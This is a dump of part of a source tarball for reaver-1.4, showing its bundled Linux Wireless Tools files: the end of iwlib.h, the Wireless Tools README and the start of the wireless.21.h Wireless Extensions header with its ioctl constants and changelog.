IW_EV_PARAM_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_param)) #define IW_EV_ADDR_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct sockaddr)) #define IW_EV_QUAL_PK_LEN (IW_EV_LCP_PK_LEN + sizeof(struct iw_quality)) #define IW_EV_POINT_PK_LEN (IW_EV_LCP_PK_LEN + 4) struct iw_pk_event { __u16 len; /* Real lenght of this stuff */ __u16 cmd; /* Wireless IOCTL */ union iwreq_data u; /* IOCTL fixed payload */ } __attribute__ ((packed)); struct iw_pk_point { void __user *pointer; /* Pointer to the data (in user space) */ __u16 length; /* number of fields or size in bytes */ __u16 flags; /* Optional params */ } __attribute__ ((packed)); #define IW_EV_LCP_PK2_LEN (sizeof(struct iw_pk_event) - sizeof(union iwreq_data)) #define IW_EV_POINT_PK2_LEN (IW_EV_LCP_PK2_LEN + sizeof(struct iw_pk_point) - IW_EV_POINT_OFF) #endif /* IW_EV_LCP_PK_LEN */ /****************************** TYPES ******************************/ /* Shortcuts */ typedef struct iw_statistics iwstats; typedef struct iw_range iwrange; typedef struct iw_param iwparam; typedef struct iw_freq iwfreq; typedef struct iw_quality iwqual; typedef struct iw_priv_args iwprivargs; typedef struct sockaddr sockaddr; /* Structure for storing all wireless information for each device * This is a cut down version of the one above, containing only * the things *truly* needed to configure a card. * Don't add other junk, I'll remove it... */ typedef struct wireless_config { char name[IFNAMSIZ + 1]; /* Wireless/protocol name */ int has_nwid; iwparam nwid; /* Network ID */ int has_freq; double freq; /* Frequency/channel */ int freq_flags; int has_key; unsigned char key[IW_ENCODING_TOKEN_MAX]; /* Encoding key used */ int key_size; /* Number of bytes */ int key_flags; /* Various flags */ int has_essid; int essid_on; char essid[IW_ESSID_MAX_SIZE + 1]; /* ESSID (extended network) */ int has_mode; int mode; /* Operation mode */ } wireless_config; /* Structure for storing all wireless information for each device * This is pretty exhaustive... */ typedef struct wireless_info { struct wireless_config b; /* Basic information */ int has_sens; iwparam sens; /* sensitivity */ int has_nickname; char nickname[IW_ESSID_MAX_SIZE + 1]; /* NickName */ int has_ap_addr; sockaddr ap_addr; /* Access point address */ int has_bitrate; iwparam bitrate; /* Bit rate in bps */ int has_rts; iwparam rts; /* RTS threshold in bytes */ int has_frag; iwparam frag; /* Fragmentation threshold in bytes */ int has_power; iwparam power; /* Power management parameters */ int has_txpower; iwparam txpower; /* Transmit Power in dBm */ int has_retry; iwparam retry; /* Retry limit or lifetime */ /* Stats */ iwstats stats; int has_stats; iwrange range; int has_range; /* Auth params for WPA/802.1x/802.11i */ int auth_key_mgmt; int has_auth_key_mgmt; int auth_cipher_pairwise; int has_auth_cipher_pairwise; int auth_cipher_group; int has_auth_cipher_group; } wireless_info; /* Structure for storing an entry of a wireless scan. * This is only a subset of all possible information, the flexible * structure of scan results make it impossible to capture all * information in such a static structure. */ typedef struct wireless_scan { /* Linked list */ struct wireless_scan * next; /* Cell identifiaction */ int has_ap_addr; sockaddr ap_addr; /* Access point address */ /* Other information */ struct wireless_config b; /* Basic information */ iwstats stats; /* Signal strength */ int has_stats; iwparam maxbitrate; /* Max bit rate in bps */ int has_maxbitrate; } wireless_scan; /* * Context used for non-blocking scan. */ typedef struct wireless_scan_head { wireless_scan * result; /* Result of the scan */ int retry; /* Retry level */ } wireless_scan_head; /* Structure used for parsing event streams, such as Wireless Events * and scan results */ typedef struct stream_descr { char * end; /* End of the stream */ char * current; /* Current event in stream of events */ char * value; /* Current value in event */ } stream_descr; /* Prototype for handling display of each single interface on the * system - see iw_enum_devices() */ typedef int (*iw_enum_handler)(int skfd, char * ifname, char * args[], int count); /* Describe a modulation */ typedef struct iw_modul_descr { unsigned int mask; /* Modulation bitmask */ char cmd[8]; /* Short name */ char * verbose; /* Verbose description */ } iw_modul_descr; /**************************** PROTOTYPES ****************************/ /* * All the functions in iwcommon.c */ /* ---------------------- SOCKET SUBROUTINES -----------------------*/ int iw_sockets_open(void); void iw_enum_devices(int skfd, iw_enum_handler fn, char * args[], int count); /* --------------------- WIRELESS SUBROUTINES ----------------------*/ int iw_get_kernel_we_version(void); int iw_print_version_info(const char * toolname); int iw_get_range_info(int skfd, const char * ifname, iwrange * range); int iw_get_priv_info(int skfd, const char * ifname, iwprivargs ** ppriv); int iw_get_basic_config(int skfd, const char * ifname, wireless_config * info); int iw_set_basic_config(int skfd, const char * ifname, wireless_config * info); /* --------------------- PROTOCOL SUBROUTINES --------------------- */ int iw_protocol_compare(const char * protocol1, const char * protocol2); /* -------------------- FREQUENCY SUBROUTINES --------------------- */ void iw_float2freq(double in, iwfreq * out); double iw_freq2float(const iwfreq * in); void iw_print_freq_value(char * buffer, int buflen, double freq); void iw_print_freq(char * buffer, int buflen, double freq, int channel, int freq_flags); int iw_freq_to_channel(double freq, const struct iw_range * range); int iw_channel_to_freq(int channel, double * pfreq, const struct iw_range * range); void iw_print_bitrate(char * buffer, int buflen, int bitrate); /* ---------------------- POWER SUBROUTINES ----------------------- */ int iw_dbm2mwatt(int in); int iw_mwatt2dbm(int in); void iw_print_txpower(char * buffer, int buflen, struct iw_param * txpower); /* -------------------- STATISTICS SUBROUTINES -------------------- */ int iw_get_stats(int skfd, const char * ifname, iwstats * stats, const iwrange * range, int has_range); void iw_print_stats(char * buffer, int buflen, const iwqual * qual, const iwrange * range, int has_range); /* --------------------- ENCODING SUBROUTINES --------------------- */ void iw_print_key(char * buffer, int buflen, const unsigned char * key, int key_size, int key_flags); int iw_in_key(const char * input, unsigned char * key); int iw_in_key_full(int skfd, const char * ifname, const char * input, unsigned char * key, __u16 * flags); /* ----------------- POWER MANAGEMENT SUBROUTINES ----------------- */ void iw_print_pm_value(char * buffer, int buflen, int value, int flags, int we_version); void iw_print_pm_mode(char * buffer, int buflen, int flags); /* --------------- RETRY LIMIT/LIFETIME SUBROUTINES --------------- */ void iw_print_retry_value(char * buffer, int buflen, int value, int flags, int we_version); /* ----------------------- TIME SUBROUTINES ----------------------- */ void iw_print_timeval(char * buffer, int buflen, const struct timeval * time, const struct timezone * tz); /* --------------------- ADDRESS SUBROUTINES ---------------------- */ int iw_check_mac_addr_type(int skfd, const char * ifname); int iw_check_if_addr_type(int skfd, const char * ifname); #if 0 int iw_check_addr_type(int skfd, const char * ifname); #endif #if 0 int iw_get_mac_addr(int skfd, const char * name, struct ether_addr * eth, unsigned short * ptype); #endif char * iw_mac_ntop(const unsigned char * mac, int maclen, char * buf, int buflen); void iw_ether_ntop(const struct ether_addr * eth, char * buf); char * iw_sawap_ntop(const struct sockaddr * sap, char * buf); int iw_mac_aton(const char * orig, unsigned char * mac, int macmax); int iw_ether_aton(const char* bufp, struct ether_addr* eth); int iw_in_inet(char *bufp, struct sockaddr *sap); int iw_in_addr(int skfd, const char * ifname, char * bufp, struct sockaddr * sap); /* ----------------------- MISC SUBROUTINES ------------------------ */ int iw_get_priv_size(int args); /* ---------------------- EVENT SUBROUTINES ---------------------- */ void iw_init_event_stream(struct stream_descr * stream, char * data, int len); int iw_extract_event_stream(struct stream_descr * stream, struct iw_event * iwe, int we_version); /* --------------------- SCANNING SUBROUTINES --------------------- */ int iw_process_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context); int iw_scan(int skfd, char * ifname, int we_version, wireless_scan_head * context); /**************************** VARIABLES ****************************/ /* Modes as human readable strings */ extern const char * const iw_operation_mode[]; #define IW_NUM_OPER_MODE 7 #define IW_NUM_OPER_MODE_EXT 8 /* Modulations as human readable strings */ extern const struct iw_modul_descr iw_modul_list[]; #define IW_SIZE_MODUL_LIST 16 /************************* INLINE FUNTIONS *************************/ /* * Functions that are so simple that it's more efficient inlining them */ /* * Note : I've defined wrapper for the ioctl request so that * it will be easier to migrate to other kernel API if needed */ /*------------------------------------------------------------------*/ /* * Wrapper to push some Wireless Parameter in the driver */ static inline int iw_set_ext(int skfd, /* Socket to the kernel */ const char * ifname, /* Device name */ int request, /* WE ID */ struct iwreq * pwrq) /* Fixed part of the request */ { /* Set device name */ strncpy(pwrq->ifr_name, ifname, IFNAMSIZ); /* Do the request */ return(ioctl(skfd, request, pwrq)); } /*------------------------------------------------------------------*/ /* * Wrapper to extract some Wireless Parameter out of the driver */ static inline int iw_get_ext(int skfd, /* Socket to the kernel */ const char * ifname, /* Device name */ int request, /* WE ID */ struct iwreq * pwrq) /* Fixed part of the request */ { /* Set device name */ strncpy(pwrq->ifr_name, ifname, IFNAMSIZ); /* Do the request */ return(ioctl(skfd, request, pwrq)); } /*------------------------------------------------------------------*/ /* * Close the socket used for ioctl. */ static inline void iw_sockets_close(int skfd) { close(skfd); } /*------------------------------------------------------------------*/ /* * Display an Ethernet Socket Address in readable format. */ static inline char * iw_saether_ntop(const struct sockaddr *sap, char* bufp) { iw_ether_ntop((const struct ether_addr *) sap->sa_data, bufp); return bufp; } /*------------------------------------------------------------------*/ /* * Input an Ethernet Socket Address and convert to binary. */ static inline int iw_saether_aton(const char *bufp, struct sockaddr *sap) { sap->sa_family = ARPHRD_ETHER; return iw_ether_aton(bufp, (struct ether_addr *) sap->sa_data); } /*------------------------------------------------------------------*/ /* * Create an Ethernet broadcast address */ static inline void iw_broad_ether(struct sockaddr *sap) { sap->sa_family = ARPHRD_ETHER; memset((char *) sap->sa_data, 0xFF, ETH_ALEN); } /*------------------------------------------------------------------*/ /* * Create an Ethernet NULL address */ static inline void iw_null_ether(struct sockaddr *sap) { sap->sa_family = ARPHRD_ETHER; memset((char *) sap->sa_data, 0x00, ETH_ALEN); } /*------------------------------------------------------------------*/ /* * Compare two ethernet addresses */ static inline int iw_ether_cmp(const struct ether_addr* eth1, const struct ether_addr* eth2) { return memcmp(eth1, eth2, sizeof(*eth1)); } #ifdef __cplusplus } #endif #endif /* IWLIB_H */ reaver-1.4/src/lwe/README0000755000175000017500000001272411705505257014452 0ustar reaverreaver Wireless Tools & IfRename ------------------------- This package contains the Wireless tools, used to manipulate the Wireless Extensions. The Wireless Extensions is an interface allowing you to set Wireless LAN specific parameters and get the specific stats. It also contains the IfRename package, used for advance renaming of network interfaces. web page : -------- You'll find a lot of useful info on : http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html http://web.hpl.hp.com/personal/Jean_Tourrilhes/Linux/ Precompiled version : ------------------- Most Linux distributions offer precompiled package containing these tools. And many of them preinstall them by default. On the other hand, installation of this package is (now) easy and allows you to get a more up-to-date version. INSTALL ------- This file contains installation instructions and requirements. A *must*-read. DISTRIBUTION.txt ---------------- This file documents how to configure wireless cards at boot time with various Linux distributions (using Wireless Extensions). Please read it carefully before asking questions. In this file, I try to collect all the specifics of Wireless Extensions integration in the most common Linux distributions. I need your help to complete this file. HOTPLUG.txt ----------- This file documents how to manage and configure removable wireless cards using Hotplug. This is more advanced than the simple procedures of DISTRIBUTION.txt. This is currently mostly Debian specific, but I hope you will contribute for other distributions. PCMCIA.txt ---------- This file describes how to use PCMCIA init script to configure Wireless Extensions and how to use PCMCIA schemes. man pages (iwconfig.8, iwlist.8, iwpriv.8, iwspy.8) --------- VERY IMPORTANT : I try to keep the man pages up to date, so you'd better read them before asking questions. ALSO IMPORTANT : Those man pages describe the capacities of the tools, no device implements the full range (and drivers usually implement even less). As far as I know, the man pages are the most complete, up to date and accurate documentation of the wireless tools. An update of the web page related to Wireless Extensions is long overdue. Send feedback to me. The man pages can either be copied into a location where the command "man" will find them, such as /usr/local/man/man8, or can be read locally with the command : nroff -man xxx.8 | less localised man pages (fr/*) ------------------- Localised man pages are not made by me, therefore the only localisations available are those sent to me by courageous volonteers, and I expect those man pages to 'lag' compared to the english version (i.e. not have all the latest updates). Translating man pages is not a very gratifying task, especially due to my broken english, and many technical terms don't translate well to other languages, so refer to the english version when in doubt. iwconfig.c ---------- The main wireless tool. Used for device configuration and to see the most common wireless parameters. iwlist.c -------- Display some large chunk of information not displayed by iwconfig. For example, all bit rates, all frequencies, all keys... iwspy.c ------- Mobile IP support test and allows to get stats per MAC address (instead of globally). Also, for some drivers/devices, this is the only way to get stats in Ad-Hoc mode. iwpriv.c -------- Manipulate driver private ioctls : all parameters that are specific to a driver or a device and therefore not part of iwconfig. iwgetid.c --------- Output the ESSID or NWID of the specified device. Can also output it in a form that can be used as a PCMCIA Scheme. iwevent.c --------- Display Wireless Events. Most recent drivers will support this relatively new feature, but some older drivers may not support it. ifrename.c : ---------- Rename network interfaces based on various selectors. iwlib.c ------- The Wireless Tools helper library. May be useful if you want to create your own applications using Wireless Extensions. iwmulticall.c ------------- Multicall version of the tools for embedded systems. Changelog, contributions : ------------------------ See CHANGELOG.h wireless.h ---------- Definition of the Wireless Extensions. Remember that the definition used by the drivers and the tools must match, otherwise funny things may happen. The tools try to check for that. Since Wireless Extensions v12, you can no longer drop this file into your kernel headers to update the Wireless Extensions, you need to use the full patches available on my web page. So, the use is more if you plan to do some cross compile or something similar. Just for your enjoyment, there are various releases of it. If your kernel/drivers are old, you may want to try the older releases... sample_xxx.c : ------------ Various samples of code showing how to implement some of the more tricky features of Wireless Extensions in your driver. Note that there is no guarantee that this code compiles, let alone works, but it should point you in the proper direction. Also, have a look at existing drivers in the Linux kernel. 19-udev-ifrename.rules : ---------------------- udev rules to integrate properly ifrename (udev >= 107). Other tools : ----------- My web page lists many other tools using Wireless Extensions that you may find useful... http://www.hpl.hp.com/personal/Jean_Tourrilhes/Linux/Tools.html#links Other questions : --------------- You have the source, and it is documented. In 99% of cases, you will find your answer there. Good luck... Jean reaver-1.4/src/lwe/wireless.21.h0000755000175000017500000012362511705505257016024 0ustar reaverreaver/* * This file define a set of standard wireless extensions * * Version : 21 14.3.06 * * Authors : Jean Tourrilhes - HPL - * Copyright (c) 1997-2005 Jean Tourrilhes, All Rights Reserved. */ #ifndef _LINUX_WIRELESS_H #define _LINUX_WIRELESS_H /************************** DOCUMENTATION **************************/ /* * Initial APIs (1996 -> onward) : * ----------------------------- * Basically, the wireless extensions are for now a set of standard ioctl * call + /proc/net/wireless * * The entry /proc/net/wireless give statistics and information on the * driver. * This is better than having each driver having its entry because * its centralised and we may remove the driver module safely. * * Ioctl are used to configure the driver and issue commands. This is * better than command line options of insmod because we may want to * change dynamically (while the driver is running) some parameters. * * The ioctl mechanimsm are copied from standard devices ioctl. * We have the list of command plus a structure descibing the * data exchanged... * Note that to add these ioctl, I was obliged to modify : * # net/core/dev.c (two place + add include) * # net/ipv4/af_inet.c (one place + add include) * * /proc/net/wireless is a copy of /proc/net/dev. * We have a structure for data passed from the driver to /proc/net/wireless * Too add this, I've modified : * # net/core/dev.c (two other places) * # include/linux/netdevice.h (one place) * # include/linux/proc_fs.h (one place) * * New driver API (2002 -> onward) : * ------------------------------- * This file is only concerned with the user space API and common definitions. * The new driver API is defined and documented in : * # include/net/iw_handler.h * * Note as well that /proc/net/wireless implementation has now moved in : * # net/core/wireless.c * * Wireless Events (2002 -> onward) : * -------------------------------- * Events are defined at the end of this file, and implemented in : * # net/core/wireless.c * * Other comments : * -------------- * Do not add here things that are redundant with other mechanisms * (drivers init, ifconfig, /proc/net/dev, ...) and with are not * wireless specific. * * These wireless extensions are not magic : each driver has to provide * support for them... * * IMPORTANT NOTE : As everything in the kernel, this is very much a * work in progress. Contact me if you have ideas of improvements... */ /***************************** INCLUDES *****************************/ /* This header is used in user-space, therefore need to be sanitised * for that purpose. Those includes are usually not compatible with glibc. * To know which includes to use in user-space, check iwlib.h. */ #ifdef __KERNEL__ #include /* for "caddr_t" et al */ #include /* for "struct sockaddr" et al */ #include /* for IFNAMSIZ and co... */ #endif /* __KERNEL__ */ /***************************** VERSION *****************************/ /* * This constant is used to know the availability of the wireless * extensions and to know which version of wireless extensions it is * (there is some stuff that will be added in the future...) * I just plan to increment with each new version. */ #define WIRELESS_EXT 21 /* * Changes : * * V2 to V3 * -------- * Alan Cox start some incompatibles changes. I've integrated a bit more. * - Encryption renamed to Encode to avoid US regulation problems * - Frequency changed from float to struct to avoid problems on old 386 * * V3 to V4 * -------- * - Add sensitivity * * V4 to V5 * -------- * - Missing encoding definitions in range * - Access points stuff * * V5 to V6 * -------- * - 802.11 support (ESSID ioctls) * * V6 to V7 * -------- * - define IW_ESSID_MAX_SIZE and IW_MAX_AP * * V7 to V8 * -------- * - Changed my e-mail address * - More 802.11 support (nickname, rate, rts, frag) * - List index in frequencies * * V8 to V9 * -------- * - Support for 'mode of operation' (ad-hoc, managed...) * - Support for unicast and multicast power saving * - Change encoding to support larger tokens (>64 bits) * - Updated iw_params (disable, flags) and use it for NWID * - Extracted iw_point from iwreq for clarity * * V9 to V10 * --------- * - Add PM capability to range structure * - Add PM modifier : MAX/MIN/RELATIVE * - Add encoding option : IW_ENCODE_NOKEY * - Add TxPower ioctls (work like TxRate) * * V10 to V11 * ---------- * - Add WE version in range (help backward/forward compatibility) * - Add retry ioctls (work like PM) * * V11 to V12 * ---------- * - Add SIOCSIWSTATS to get /proc/net/wireless programatically * - Add DEV PRIVATE IOCTL to avoid collisions in SIOCDEVPRIVATE space * - Add new statistics (frag, retry, beacon) * - Add average quality (for user space calibration) * * V12 to V13 * ---------- * - Document creation of new driver API. * - Extract union iwreq_data from struct iwreq (for new driver API). * - Rename SIOCSIWNAME as SIOCSIWCOMMIT * * V13 to V14 * ---------- * - Wireless Events support : define struct iw_event * - Define additional specific event numbers * - Add "addr" and "param" fields in union iwreq_data * - AP scanning stuff (SIOCSIWSCAN and friends) * * V14 to V15 * ---------- * - Add IW_PRIV_TYPE_ADDR for struct sockaddr private arg * - Make struct iw_freq signed (both m & e), add explicit padding * - Add IWEVCUSTOM for driver specific event/scanning token * - Add IW_MAX_GET_SPY for driver returning a lot of addresses * - Add IW_TXPOW_RANGE for range of Tx Powers * - Add IWEVREGISTERED & IWEVEXPIRED events for Access Points * - Add IW_MODE_MONITOR for passive monitor * * V15 to V16 * ---------- * - Increase the number of bitrates in iw_range to 32 (for 802.11g) * - Increase the number of frequencies in iw_range to 32 (for 802.11b+a) * - Reshuffle struct iw_range for increases, add filler * - Increase IW_MAX_AP to 64 for driver returning a lot of addresses * - Remove IW_MAX_GET_SPY because conflict with enhanced spy support * - Add SIOCSIWTHRSPY/SIOCGIWTHRSPY and "struct iw_thrspy" * - Add IW_ENCODE_TEMP and iw_range->encoding_login_index * * V16 to V17 * ---------- * - Add flags to frequency -> auto/fixed * - Document (struct iw_quality *)->updated, add new flags (INVALID) * - Wireless Event capability in struct iw_range * - Add support for relative TxPower (yick !) * * V17 to V18 (From Jouni Malinen ) * ---------- * - Add support for WPA/WPA2 * - Add extended encoding configuration (SIOCSIWENCODEEXT and * SIOCGIWENCODEEXT) * - Add SIOCSIWGENIE/SIOCGIWGENIE * - Add SIOCSIWMLME * - Add SIOCSIWPMKSA * - Add struct iw_range bit field for supported encoding capabilities * - Add optional scan request parameters for SIOCSIWSCAN * - Add SIOCSIWAUTH/SIOCGIWAUTH for setting authentication and WPA * related parameters (extensible up to 4096 parameter values) * - Add wireless events: IWEVGENIE, IWEVMICHAELMICFAILURE, * IWEVASSOCREQIE, IWEVASSOCRESPIE, IWEVPMKIDCAND * * V18 to V19 * ---------- * - Remove (struct iw_point *)->pointer from events and streams * - Remove header includes to help user space * - Increase IW_ENCODING_TOKEN_MAX from 32 to 64 * - Add IW_QUAL_ALL_UPDATED and IW_QUAL_ALL_INVALID macros * - Add explicit flag to tell stats are in dBm : IW_QUAL_DBM * - Add IW_IOCTL_IDX() and IW_EVENT_IDX() macros * * V20 to V21 * ---------- * - Remove (struct net_device *)->get_wireless_stats() * - Change length in ESSID and NICK to strlen() instead of strlen()+1 * - Add SIOCSIWMODUL/SIOCGIWMODUL for modulation setting * - Add IW_RETRY_SHORT/IW_RETRY_LONG retry modifiers * - Add IW_POWER_SAVING power type * - Power/Retry relative values no longer * 100000 * - Add bitrate flags for unicast/broadcast */ /**************************** CONSTANTS ****************************/ /* -------------------------- IOCTL LIST -------------------------- */ /* Wireless Identification */ #define SIOCSIWCOMMIT 0x8B00 /* Commit pending changes to driver */ #define SIOCGIWNAME 0x8B01 /* get name == wireless protocol */ /* SIOCGIWNAME is used to verify the presence of Wireless Extensions. * Common values : "IEEE 802.11-DS", "IEEE 802.11-FH", "IEEE 802.11b"... * Don't put the name of your driver there, it's useless. */ /* Basic operations */ #define SIOCSIWNWID 0x8B02 /* set network id (pre-802.11) */ #define SIOCGIWNWID 0x8B03 /* get network id (the cell) */ #define SIOCSIWFREQ 0x8B04 /* set channel/frequency (Hz) */ #define SIOCGIWFREQ 0x8B05 /* get channel/frequency (Hz) */ #define SIOCSIWMODE 0x8B06 /* set operation mode */ #define SIOCGIWMODE 0x8B07 /* get operation mode */ #define SIOCSIWSENS 0x8B08 /* set sensitivity (dBm) */ #define SIOCGIWSENS 0x8B09 /* get sensitivity (dBm) */ /* Informative stuff */ #define SIOCSIWRANGE 0x8B0A /* Unused */ #define SIOCGIWRANGE 0x8B0B /* Get range of parameters */ #define SIOCSIWPRIV 0x8B0C /* Unused */ #define SIOCGIWPRIV 0x8B0D /* get private ioctl interface info */ #define SIOCSIWSTATS 0x8B0E /* Unused */ #define SIOCGIWSTATS 0x8B0F /* Get /proc/net/wireless stats */ /* SIOCGIWSTATS is strictly used between user space and the kernel, and * is never passed to the driver (i.e. the driver will never see it). */ /* Spy support (statistics per MAC address - used for Mobile IP support) */ #define SIOCSIWSPY 0x8B10 /* set spy addresses */ #define SIOCGIWSPY 0x8B11 /* get spy info (quality of link) */ #define SIOCSIWTHRSPY 0x8B12 /* set spy threshold (spy event) */ #define SIOCGIWTHRSPY 0x8B13 /* get spy threshold */ /* Access Point manipulation */ #define SIOCSIWAP 0x8B14 /* set access point MAC addresses */ #define SIOCGIWAP 0x8B15 /* get access point MAC addresses */ #define SIOCGIWAPLIST 0x8B17 /* Deprecated in favor of scanning */ #define SIOCSIWSCAN 0x8B18 /* trigger scanning (list cells) */ #define SIOCGIWSCAN 0x8B19 /* get scanning results */ /* 802.11 specific support */ #define SIOCSIWESSID 0x8B1A /* set ESSID (network name) */ #define SIOCGIWESSID 0x8B1B /* get ESSID */ #define SIOCSIWNICKN 0x8B1C /* set node name/nickname */ #define SIOCGIWNICKN 0x8B1D /* get node name/nickname */ /* As the ESSID and NICKN are strings up to 32 bytes long, it doesn't fit * within the 'iwreq' structure, so we need to use the 'data' member to * point to a string in user space, like it is done for RANGE... */ /* Other parameters useful in 802.11 and some other devices */ #define SIOCSIWRATE 0x8B20 /* set default bit rate (bps) */ #define SIOCGIWRATE 0x8B21 /* get default bit rate (bps) */ #define SIOCSIWRTS 0x8B22 /* set RTS/CTS threshold (bytes) */ #define SIOCGIWRTS 0x8B23 /* get RTS/CTS threshold (bytes) */ #define SIOCSIWFRAG 0x8B24 /* set fragmentation thr (bytes) */ #define SIOCGIWFRAG 0x8B25 /* get fragmentation thr (bytes) */ #define SIOCSIWTXPOW 0x8B26 /* set transmit power (dBm) */ #define SIOCGIWTXPOW 0x8B27 /* get transmit power (dBm) */ #define SIOCSIWRETRY 0x8B28 /* set retry limits and lifetime */ #define SIOCGIWRETRY 0x8B29 /* get retry limits and lifetime */ /* Encoding stuff (scrambling, hardware security, WEP...) */ #define SIOCSIWENCODE 0x8B2A /* set encoding token & mode */ #define SIOCGIWENCODE 0x8B2B /* get encoding token & mode */ /* Power saving stuff (power management, unicast and multicast) */ #define SIOCSIWPOWER 0x8B2C /* set Power Management settings */ #define SIOCGIWPOWER 0x8B2D /* get Power Management settings */ /* Modulation bitmask */ #define SIOCSIWMODUL 0x8B2E /* set Modulations settings */ #define SIOCGIWMODUL 0x8B2F /* get Modulations settings */ /* WPA : Generic IEEE 802.11 informatiom element (e.g., for WPA/RSN/WMM). * This ioctl uses struct iw_point and data buffer that includes IE id and len * fields. More than one IE may be included in the request. Setting the generic * IE to empty buffer (len=0) removes the generic IE from the driver. Drivers * are allowed to generate their own WPA/RSN IEs, but in these cases, drivers * are required to report the used IE as a wireless event, e.g., when * associating with an AP. */ #define SIOCSIWGENIE 0x8B30 /* set generic IE */ #define SIOCGIWGENIE 0x8B31 /* get generic IE */ /* WPA : IEEE 802.11 MLME requests */ #define SIOCSIWMLME 0x8B16 /* request MLME operation; uses * struct iw_mlme */ /* WPA : Authentication mode parameters */ #define SIOCSIWAUTH 0x8B32 /* set authentication mode params */ #define SIOCGIWAUTH 0x8B33 /* get authentication mode params */ /* WPA : Extended version of encoding configuration */ #define SIOCSIWENCODEEXT 0x8B34 /* set encoding token & mode */ #define SIOCGIWENCODEEXT 0x8B35 /* get encoding token & mode */ /* WPA2 : PMKSA cache management */ #define SIOCSIWPMKSA 0x8B36 /* PMKSA cache operation */ /* -------------------- DEV PRIVATE IOCTL LIST -------------------- */ /* These 32 ioctl are wireless device private, for 16 commands. * Each driver is free to use them for whatever purpose it chooses, * however the driver *must* export the description of those ioctls * with SIOCGIWPRIV and *must* use arguments as defined below. * If you don't follow those rules, DaveM is going to hate you (reason : * it make mixed 32/64bit operation impossible). */ #define SIOCIWFIRSTPRIV 0x8BE0 #define SIOCIWLASTPRIV 0x8BFF /* Previously, we were using SIOCDEVPRIVATE, but we now have our * separate range because of collisions with other tools such as * 'mii-tool'. * We now have 32 commands, so a bit more space ;-). * Also, all 'odd' commands are only usable by root and don't return the * content of ifr/iwr to user (but you are not obliged to use the set/get * convention, just use every other two command). More details in iwpriv.c. * And I repeat : you are not forced to use them with iwpriv, but you * must be compliant with it. */ /* ------------------------- IOCTL STUFF ------------------------- */ /* The first and the last (range) */ #define SIOCIWFIRST 0x8B00 #define SIOCIWLAST SIOCIWLASTPRIV /* 0x8BFF */ #define IW_IOCTL_IDX(cmd) ((cmd) - SIOCIWFIRST) /* Even : get (world access), odd : set (root access) */ #define IW_IS_SET(cmd) (!((cmd) & 0x1)) #define IW_IS_GET(cmd) ((cmd) & 0x1) /* ----------------------- WIRELESS EVENTS ----------------------- */ /* Those are *NOT* ioctls, do not issue request on them !!! */ /* Most events use the same identifier as ioctl requests */ #define IWEVTXDROP 0x8C00 /* Packet dropped to excessive retry */ #define IWEVQUAL 0x8C01 /* Quality part of statistics (scan) */ #define IWEVCUSTOM 0x8C02 /* Driver specific ascii string */ #define IWEVREGISTERED 0x8C03 /* Discovered a new node (AP mode) */ #define IWEVEXPIRED 0x8C04 /* Expired a node (AP mode) */ #define IWEVGENIE 0x8C05 /* Generic IE (WPA, RSN, WMM, ..) * (scan results); This includes id and * length fields. One IWEVGENIE may * contain more than one IE. Scan * results may contain one or more * IWEVGENIE events. */ #define IWEVMICHAELMICFAILURE 0x8C06 /* Michael MIC failure * (struct iw_michaelmicfailure) */ #define IWEVASSOCREQIE 0x8C07 /* IEs used in (Re)Association Request. * The data includes id and length * fields and may contain more than one * IE. This event is required in * Managed mode if the driver * generates its own WPA/RSN IE. This * should be sent just before * IWEVREGISTERED event for the * association. */ #define IWEVASSOCRESPIE 0x8C08 /* IEs used in (Re)Association * Response. The data includes id and * length fields and may contain more * than one IE. This may be sent * between IWEVASSOCREQIE and * IWEVREGISTERED events for the * association. */ #define IWEVPMKIDCAND 0x8C09 /* PMKID candidate for RSN * pre-authentication * (struct iw_pmkid_cand) */ #define IWEVFIRST 0x8C00 #define IW_EVENT_IDX(cmd) ((cmd) - IWEVFIRST) /* ------------------------- PRIVATE INFO ------------------------- */ /* * The following is used with SIOCGIWPRIV. It allow a driver to define * the interface (name, type of data) for its private ioctl. * Privates ioctl are SIOCIWFIRSTPRIV -> SIOCIWLASTPRIV */ #define IW_PRIV_TYPE_MASK 0x7000 /* Type of arguments */ #define IW_PRIV_TYPE_NONE 0x0000 #define IW_PRIV_TYPE_BYTE 0x1000 /* Char as number */ #define IW_PRIV_TYPE_CHAR 0x2000 /* Char as character */ #define IW_PRIV_TYPE_INT 0x4000 /* 32 bits int */ #define IW_PRIV_TYPE_FLOAT 0x5000 /* struct iw_freq */ #define IW_PRIV_TYPE_ADDR 0x6000 /* struct sockaddr */ #define IW_PRIV_SIZE_FIXED 0x0800 /* Variable or fixed number of args */ #define IW_PRIV_SIZE_MASK 0x07FF /* Max number of those args */ /* * Note : if the number of args is fixed and the size < 16 octets, * instead of passing a pointer we will put args in the iwreq struct... */ /* ----------------------- OTHER CONSTANTS ----------------------- */ /* Maximum frequencies in the range struct */ #define IW_MAX_FREQUENCIES 32 /* Note : if you have something like 80 frequencies, * don't increase this constant and don't fill the frequency list. * The user will be able to set by channel anyway... */ /* Maximum bit rates in the range struct */ #define IW_MAX_BITRATES 32 /* Maximum tx powers in the range struct */ #define IW_MAX_TXPOWER 8 /* Note : if you more than 8 TXPowers, just set the max and min or * a few of them in the struct iw_range. */ /* Maximum of address that you may set with SPY */ #define IW_MAX_SPY 8 /* Maximum of address that you may get in the list of access points in range */ #define IW_MAX_AP 64 /* Maximum size of the ESSID and NICKN strings */ #define IW_ESSID_MAX_SIZE 32 /* Modes of operation */ #define IW_MODE_AUTO 0 /* Let the driver decides */ #define IW_MODE_ADHOC 1 /* Single cell network */ #define IW_MODE_INFRA 2 /* Multi cell network, roaming, ... */ #define IW_MODE_MASTER 3 /* Synchronisation master or Access Point */ #define IW_MODE_REPEAT 4 /* Wireless Repeater (forwarder) */ #define IW_MODE_SECOND 5 /* Secondary master/repeater (backup) */ #define IW_MODE_MONITOR 6 /* Passive monitor (listen only) */ /* Statistics flags (bitmask in updated) */ #define IW_QUAL_QUAL_UPDATED 0x01 /* Value was updated since last read */ #define IW_QUAL_LEVEL_UPDATED 0x02 #define IW_QUAL_NOISE_UPDATED 0x04 #define IW_QUAL_ALL_UPDATED 0x07 #define IW_QUAL_DBM 0x08 /* Level + Noise are dBm */ #define IW_QUAL_QUAL_INVALID 0x10 /* Driver doesn't provide value */ #define IW_QUAL_LEVEL_INVALID 0x20 #define IW_QUAL_NOISE_INVALID 0x40 